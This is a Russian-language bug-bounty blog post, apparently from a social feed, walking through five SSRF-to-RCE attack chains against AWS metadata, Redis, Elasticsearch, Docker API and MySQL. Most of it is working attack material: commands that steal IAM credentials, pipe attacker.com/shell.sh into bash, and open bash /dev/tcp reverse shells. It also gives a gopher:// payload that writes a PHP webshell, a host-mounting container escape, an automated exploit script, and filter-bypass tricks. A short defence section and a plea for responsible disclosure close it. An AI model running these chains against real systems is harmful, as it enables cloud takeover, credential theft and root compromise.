⚡ SSRF → RCE: chain-атака на реальной цели

Привет, хакеры! 💻 Сегодня расскажу про мой любимый тип атак — chains (цепочки). Когда одна уязвимость сама по себе не критична, но в комбинации с другой превращается в полный pwn сервера.

Конкретно разберём: SSRF (Server-Side Request Forgery) → RCE (Remote Code Execution). Это как домино — толкаешь первую костяшку, а падает вся система. 🎯

Реальный кейс: Нашёл SSRF на корпоративном портале → через 2 часа получил shell на production сервере → bounty. Погнали разбирать, как повторить! 💰

🔍 Что такое SSRF и почему это опасно?

SSRF (Server-Side Request Forgery) — это когда сервер делает HTTP-запросы по твоей команде.

Простой пример:

// Уязвимый код
$url = $_GET['url'];
$content = file_get_contents($url);
echo $content;

Атака:

http://victim.com/fetch?url=http://internal-server/admin

Сервер запрашивает внутренний ресурс и отдаёт тебе результат. Ты получаешь доступ к internal сети! 🔓

Почему критично:

• Доступ к внутренним сервисам (AWS metadata, Redis, Elasticsearch)

• Обход firewall’ов

• Чтение локальных файлов

• Pivot для других атак → вот тут начинается магия!

🎯 Chain #1: SSRF → AWS Metadata → RCE

Самая популярная цепочка для облачных сервисов.

Шаг 1: Находим SSRF

# Тестируем параметр url
curl "http://target.com/api/fetch?url=http://169.254.169.254/"
# AWS metadata endpoint
curl "http://target.com/api/fetch?url=http://169.254.169.254/latest/meta-data/"

Ответ:

ami-id
ami-launch-index
ami-manifest-path
...

БИНГО! Сервер на AWS и отвечает на metadata запросы. 💣

Шаг 2: Крадём AWS credentials

# Получаем список ролей
curl "http://target.com/api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# Ответ: admin-role
# Получаем креды
curl "http://target.com/api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/admin-role"

Ответ (ДЖЕКПОТ!):

{
"AccessKeyId": "ASIA...",
"SecretAccessKey": "wJalrXUtnFEMI/...",
"Token": "IQoJb3JpZ2luX2...",
"Expiration": "2025-10-07T12:00:00Z"
}

У нас есть AWS credentials с правами admin! 🔑

Шаг 3: RCE через AWS CLI

# Конфигурируем AWS CLI с украденными credentials
export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/..."
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2..."
# Проверяем права
aws sts get-caller-identity
# Смотрим EC2 instances
aws ec2 describe-instances
# Находим instance ID текущего сервера
# Теперь варианты RCE:
# 1. Через User Data (если есть права)
aws ec2 modify-instance-attribute --instance-id i-xxx --user-data file://payload.sh
# 2. Через SSM (если агент установлен)
aws ssm send-command \
--instance-ids i-xxx \
--document-name "AWS-RunShellScript" \
--parameters commands=["curl http://attacker.com/shell.sh | bash"]
# 3. Через Lambda (создаём функцию)
aws lambda create-function \
--function-name evil \
--runtime python3.9 \
--role arn:aws:iam::xxx:role/admin-role \
--handler lambda_function.handler \
--zip-file fileb://reverse_shell.zip
# Вызываем Lambda
aws lambda invoke --function-name evil output.txt

Результат: Reverse shell на сервере! 🎉

🎯 Chain #2: SSRF → Redis → Webshell

Для on-premise инфраструктуры.

Шаг 1: Находим Redis через SSRF

# Сканируем internal network
for i in {1..255}; do
curl "http://target.com/api/fetch?url=http://10.0.0.$i:6379/"
done
# Находим Redis на 10.0.0.15:6379

Шаг 2: Эксплуатируем Redis через SSRF

Проблема: Redis использует бинарный протокол, но можно обойти через URL encoding.

# Payload для записи webshell в Redis
# Затем сохраняем в веб-директорию через SAVE
# 1. Пишем PHP webshell в Redis
curl "http://target.com/api/fetch?url=gopher://10.0.0.15:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2435%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5Bcmd%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A"

Что происходит:

FLUSHALL                          # Очищаем Redis
SET 1 "\n\n<?php system($_GET[cmd]);?>\n\n" # Записываем webshell
CONFIG SET dir /var/www/html # Меняем директорию сохранения
CONFIG SET dbfilename shell.php # Имя файла
SAVE # Сохраняем на диск

Шаг 3: RCE через webshell

# Заходим на webshell
curl "http://target.com/shell.php?cmd=id"
# Ответ: uid=33(www-data) gid=33(www-data)
# Reverse shell
curl "http://target.com/shell.php?cmd=bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'"
# На своей машине слушаем
nc -lvnp 4444

Результат: Full shell access! 💀

🎯 Chain #3: SSRF → Elasticsearch → Data Exfiltration → RCE

Шаг 1: Находим Elasticsearch

# Elasticsearch обычно на порту 9200
curl "http://target.com/api/fetch?url=http://10.0.0.20:9200/"

Ответ:

{
"name": "prod-es-node-1",
"cluster_name": "production",
"version": {
"number": "7.10.0"
}
}

Elasticsearch без авторизации — JACKPOT! 💰

Шаг 2: Дампим данные

# Получаем список индексов
curl "http://target.com/api/fetch?url=http://10.0.0.20:9200/_cat/indices"
# Ответ:
# users
# passwords
# credit_cards
# Дампим пользователей
curl "http://target.com/api/fetch?url=http://10.0.0.20:9200/users/_search?size=10000" | jq . > users.json
# Находим admin credentials в данных
cat users.json | grep -i admin

Шаг 3: RCE через Groovy scripting (старые версии)

# Для Elasticsearch < 1.4.3 (если повезёт)
curl -XPOST "http://target.com/api/fetch?url=http://10.0.0.20:9200/_search" \
-H "Content-Type: application/json" \
-d '{
"script_fields": {
"test": {
"script": "java.lang.Runtime.getRuntime().exec(\"curl http://attacker.com/shell.sh | bash\").getText()"
}
}
}'

Или используем найденные admin-креды для SSH/RDP доступа к серверам. 🔑

🎯 Chain #4: SSRF → Docker API → Container Escape → RCE

Шаг 1: Находим Docker API

# Docker API обычно на unix socket или порту 2375
curl "http://target.com/api/fetch?url=http://localhost:2375/version"

Ответ:

{
"Version": "20.10.8",
"ApiVersion": "1.41"
}

Docker API без авторизации! 🐳

Шаг 2: Создаём злонамеренный контейнер

# Создаём контейнер с mount'ом хост-системы
curl "http://target.com/api/fetch?url=http://localhost:2375/containers/create" \
-X POST \
-H "Content-Type: application/json" \
-d '{
"Image": "alpine",
"Cmd": ["/bin/sh"],
"Volumes": {
"/host": {}
},
"HostConfig": {
"Binds": ["/:/host"],
"Privileged": true
}
}'
# Ответ: {"Id": "abc123..."}
# Запускаем контейнер
curl "http://target.com/api/fetch?url=http://localhost:2375/containers/abc123/start" -X POST
# Выполняем команду в контейнере (пишем SSH ключ)
curl "http://target.com/api/fetch?url=http://localhost:2375/containers/abc123/exec" \
-X POST \
-d '{
"AttachStdout": true,
"Cmd": ["sh", "-c", "echo \"ssh-rsa AAAA...\" > /host/root/.ssh/authorized_keys"]
}'

Результат: SSH доступ под root на хосте! 🚀

🎯 Chain #5: SSRF → Local File Read → Config Files → Database → RCE

Многоступенчатая цепочка.

Шаг 1: SSRF → LFI

# Пробуем file:// протокол
curl "http://target.com/api/fetch?url=file:///etc/passwd"
# Работает! Читаем конфиги
curl "http://target.com/api/fetch?url=file:///var/www/html/config.php"

Находим:

<?php
$db_host = "10.0.0.30";
$db_user = "admin";
$db_pass = "SuperSecret123!";
$db_name = "production";
?>

Шаг 2: Подключаемся к базе через SSRF

# MySQL через SSRF (если есть библиотека)
# Создаём payload для записи UDF (User Defined Function)
# Загружаем malicious UDF библиотеку
curl "http://target.com/api/upload" \
--data-binary @lib_mysqludf_sys.so
# Через SSRF грузим её в MySQL plugin dir
# (нужны специфичные MySQL команды через gopher://)

Шаг 3: RCE через MySQL UDF

-- Создаём UDF для выполнения команд
CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
-- Выполняем команду
SELECT sys_exec('curl http://attacker.com/shell.sh | bash');

Результат: Shell через MySQL! 💀

🛠️ Инструменты для SSRF → RCE chains

# SSRFmap - автоматизация SSRF эксплойтов
python3 ssrfmap.py -r request.txt -p url -m readfiles
# Gopherus - генератор gopher:// payloads
python2 gopherus.py --exploit redis
# Interactsh - для blind SSRF
interactsh-client
# Burp Collaborator - альтернатива
# Встроен в Burp Suite Pro
# Мой custom скрипт для chain'ов
python3 ssrf-to-rce.py -u http://target.com/fetch -p url --target aws

Автоматизированный сканер:

import requests
class SSRFChainExploit:
def __init__(self, target_url, param):
self.target = target_url
self.param = param

def check_ssrf(self):
# Проверка базового SSRF
payloads = [
"http://169.254.169.254/", # AWS metadata
"http://localhost:6379/", # Redis
"http://localhost:9200/", # Elasticsearch
"http://localhost:2375/", # Docker
"file:///etc/passwd" # LFI
]

for payload in payloads:
r = requests.get(f"{self.target}?{self.param}={payload}")
if self.detect_success(r.text, payload):
print(f"[+] SSRF found: {payload}")
self.exploit(payload)

def exploit(self, service):
if "169.254.169.254" in service:
self.exploit_aws()
elif "6379" in service:
self.exploit_redis()
elif "9200" in service:
self.exploit_elasticsearch()
# ... и так далее

def exploit_aws(self):
# Крадём credentials
url = f"{self.target}?{self.param}=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
roles = requests.get(url).text

for role in roles.split('\n'):
creds_url = f"{self.target}?{self.param}=http://169.254.169.254/latest/meta-data/iam/security-credentials/{role}"
creds = requests.get(creds_url).json()
print(f"[+] Stolen AWS creds: {creds}")
# Дальше используем AWS CLI для RCE
# Использование
exploit = SSRFChainExploit("http://target.com/api/fetch", "url")
exploit.check_ssrf()

🔥 Продвинутые обходы защиты

Bypass #1: Обход blacklist’ов

# Блокируют localhost?
http://127.0.0.1
http://127.1
http://0.0.0.0
http://[::1]
http://localhost.target.com # если это ты контролируешь DNS
# Блокируют 169.254.169.254?
http://169.254.169.254.nip.io
http://425.510.425.510 # decimal IP
http://0xa9.0xfe.0xa9.0xfe # hex IP
http://2852039166 # decimal single

Bypass #2: Обход whitelisting через redirect

# На своём сервере делаешь редирект
from flask import Flask, redirect
app = Flask(__name__)
@app.route('/evil')
def evil():
return redirect('http://169.254.169.254/latest/meta-data/')
# Теперь:
curl "http://target.com/fetch?url=http://attacker.com/evil"
# Следуя редиректу, сервер зайдёт на AWS metadata

Bypass #3: DNS rebinding

# Создаёшь домен с TTL=0 и разными A-записями
# Первый запрос: attacker.com → 1.2.3.4 (проходит whitelist)
# Второй запрос: attacker.com → 169.254.169.254 (metadata!)
# Используй сервисы типа:
# - rbndr.us
# - 1u.ms

📊 Реальный кейс (полный разбор) - сейчас AWS не работает в России

Цель: Финтех-стартап на AWS

Timeline:

T+0:00 - Нашёл SSRF в функции “Preview URL”

POST /api/preview
{"url": "http://example.com"}

T+0:05 - Проверил AWS metadata

{"url": "http://169.254.169.254/latest/meta-data/"}
✅ Работает!

T+0:15 - Украл IAM credentials

{
"RoleName": "prod-ec2-role",
"AccessKeyId": "ASIA...",
"SecretAccessKey": "...",
"Token": "..."
}

T+0:30 - Проверил права через AWS CLI

aws sts get-caller-identity
# Role: arn:aws:iam::123456789:role/prod-ec2-role
aws iam get-role-policy --role-name prod-ec2-role --policy-name inline-policy
# Есть права на SSM!

T+0:45 - Получил список EC2 instances

aws ec2 describe-instances
# Нашёл production сервер: i-0abc123def

T+1:00 - Выполнил команду через SSM

aws ssm send-command \
--instance-ids i-0abc123def \
--document-name "AWS-RunShellScript" \
--parameters commands=["id"]
# Output: uid=0(root) ЭТО ROOT!

T+1:30 - Поднял reverse shell

aws ssm send-command \
--instance-ids i-0abc123def \
--document-name "AWS-RunShellScript" \
--parameters commands=["bash -c 'bash -i >& /dev/tcp/MY_IP/4444 0>&1'"]
# На моей машине:
nc -lvnp 4444
# Connection from production-server!

T+2:00 - Написал detailed отчёт с PoC (БЕЗ кражи данных!)

T+2 days - Получил ответ: “Critical severity confirmed”

T+14 days - Bounty 💰💰💰

Impact:

• Full RCE на production

• Доступ к database

• Возможность кражи всех данных клиентов

• Потенциальный ущерб: $10M+

🎯 Где искать SSRF в 2025?

Горячие точки:

✅ URL preview features - LinkPreview, OpenGraph parsers

✅ Webhooks - интеграции с внешними API

✅ PDF generators - HTML to PDF конвертеры

✅ Image processors - загрузка по URL

✅ RSS/XML parsers - внешние фиды

✅ Import functions - загрузка из URL

✅ Proxy endpoints - API gateways

✅ SSO/OAuth - redirect_uri параметры

🔐 Защита для админов

Как не стать жертвой SSRF → RCE:

# Правильная валидация URL
import urllib.parse
import ipaddress
def is_safe_url(url):
try:
parsed = urllib.parse.urlparse(url)

# Только HTTP/HTTPS
if parsed.scheme not in ['http', 'https']:
return False

# Резолвим hostname
import socket
ip = socket.gethostbyname(parsed.hostname)
ip_obj = ipaddress.ip_address(ip)

# Блокируем private IP ranges
if ip_obj.is_private or ip_obj.is_loopback:
return False

# Блокируем AWS metadata
if ip == '169.254.169.254':
return False

return True
except:
return False
# Использование
url = request.GET['url']
if is_safe_url(url):
content = requests.get(url, timeout=5)
else:
abort(400, "Invalid URL")

Дополнительные меры:

Network segmentation - internal services в отдельной подсети

IMDSv2 - требует токен для AWS metadata

Firewall rules - запретить исходящие соединения к internal IP

Whitelist вместо blacklist

Disable unnecessary protocols (file://, gopher://, dict://)

Monitoring - логируй все исходящие запросы

🎓 Мораль истории

SSRF сама по себе — medium severity. Но в цепочке с другими багами → CRITICAL RCE.

Ключ к успеху:

1. Находишь SSRF (читай мой гайд выше)

2. Исследуешь internal network (что доступно?)

3. Ищешь слабые звенья (Redis, Elasticsearch, Docker API)

4. Строишь цепочку (SSRF → Service → RCE)

5. Документируешь (подробный отчёт = больше $$$)

Не останавливайся на первом баге. Dig deeper! 💎

🚀 Домашка для хакеров

1. Найди SSRF на bug bounty программе

2. Проверь все векторы из поста (AWS, Redis, Docker, etc.)

3. Построй хотя бы 2-step chain

4. Напиши killer-отчёт с полным impact analysis

Удачной охоты, превращайте SSRF в полный pwn! ⚡💣

P.S. Помни: chain-атаки платят в 5-10 раз больше, чем обычные баги. Инвестируй время в исследование, оно окупится! 💰

P.P.S. Всегда делай responsible disclosure: не кради данные, не ломай production, не удаляй файлы. Покажи PoC и получи bounty. Stay ethical! 🔐

90 views·5 shares